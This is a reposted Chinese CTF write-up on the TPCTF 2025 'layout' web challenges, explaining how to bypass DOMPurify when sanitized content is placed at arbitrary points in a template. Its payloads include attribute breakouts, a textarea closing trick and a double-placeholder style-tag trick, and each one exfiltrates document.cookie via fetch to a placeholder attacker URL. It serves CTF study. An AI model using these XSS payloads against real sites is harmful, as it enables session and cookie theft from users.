当前位置: 首页 > news >正文

ctf-web: xss 任意位置插入情况绕过 DOMPurify -- tpctf layout

参考

https://ouuan.moe/post/2025/03/tpctf-2025

baby layout

题目会将 {{cont}} 将被替换为有效负载,我们可以使用

<img src="{{content}}">
" onerror="fetch('{YOUR_URL}'+document.cookie)

拼接后是这样的

<div>
      <img src="" onerror="fetch('{YOUR_URL}'+document.cookie)">
</div>

或者创造意外的闭合,因为</textarea>优先级大于"

<textarea>{{content}}</textarea>
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>

拼接后是这样的

<div>
	<textarea><div id="</textarea>
	<img src="x" onerror="fetch('{YOUR_URL}'+document.cookie)">">
</div>

或使用 data-x(safe layout非预期)

<div data-x="{{content}}"></div>
some_data" onerror="fetch('{YOUR_URL}'+document.cookie)

safe layout revenge

tips: 你可以使用 https://yeswehack.github.io/Dom-Explorer/ 来查看DOMPurify过滤后的内容

// 创建文章接口,接收内容和布局ID,生成文章并保存  
app.post('/api/post', (req, res) => {  
  const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID  
  if (typeof content !== 'string' || typeof layoutId !== 'number') {  
    return res.status(400).send('Invalid params'); // 参数类型检查  
  }  
  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long'); // 检查内容长度是否超过限制  
  const layout = req.session.layouts[layoutId]; // 获取指定ID的布局  
  if (layout === undefined) return res.status(400).send('Layout not found'); // 布局ID无效  
  
  // 使用DOMPurify清理内容,去除不允许的HTML标签  
  const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });  
  
  // 将内容插入布局中  
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);  
  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long'); // 检查生成的文章长度是否超过限制  
  
  // 生成文章ID并保存到Map中  
  const id = randomBytes(16).toString('hex');  
  posts.set(id, body);  
  req.session.posts.push(id); // 将文章ID添加到session中  
  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);  
  
  return res.json({ id }); // 返回文章ID  
});

注意正则表达式中存在/g,这意味这我们可以在模板中防止多个{{content}},他们都会被替换

a<style>{{content}}<{{content}}</style>
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>

有效负载

a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style><img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style></style>

会变成

<div>
      a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie)
      <style></style>
      <img src="" onerror="fetch(`{YOUR_URL}/`+document.cookie)" <style="">
    </div>

相关文章:

  • Flutter 学习之旅 之 flutter 全屏背景图设置功能的简单实现
  • 1Panel 搭建DeepSeek-R1,开启AI自由新体验
  • Anaconda安装页面四个选项的作用
  • 【高级前端】为什么computed不起作用?有哪些使用computed 的禁忌?
  • Fiora聊天系统本地化部署:Docker搭建与远程在线聊天的实践指南
  • linux配置zabbix-agent
  • ODA模拟器实验系列之一:准备工作
  • 跟网型逆变器小干扰稳定性分析与控制策略优化simulink仿真模型和代码(包含完整仿真报告)
  • failed to load elasticsearch nodes
  • 体育赛事大数据分析:AI模型对足球大小球预测的精度优化
  • 如何用Docker容器化Java应用?Spring Boot实战指南
  • Python网络爬虫与数据采集实战——网络爬虫的基本流程
  • vue知识点(2)
  • 专访数势科技谭李:智能分析 Agent 打通数据平权的最后一公里
  • 简述计算机网络中的七层模型和四层模型
  • 基于jvisualvm的内存监控与远程连接配置指南
  • Android7上移植I2C-tools
  • 观成科技:​加密C2框架Platypus流量分析
  • git 基本常用操作,切换分支,合并分支
  • Linux内核套接字以及分层模型
  • 西安建设市场诚信信息平台网站/怎么做品牌推广和宣传
  • 沈阳网站建设/什么是优化
  • 重庆市建设工程施工安全管理网站/seo顾问服务咨询
  • 哪些知名网站域名在国内注册/开一个网站需要多少钱
  • 网站app下载平台怎么做/做网站推广需要多少钱
  • 成都网站开发费用/品牌策略包括哪些内容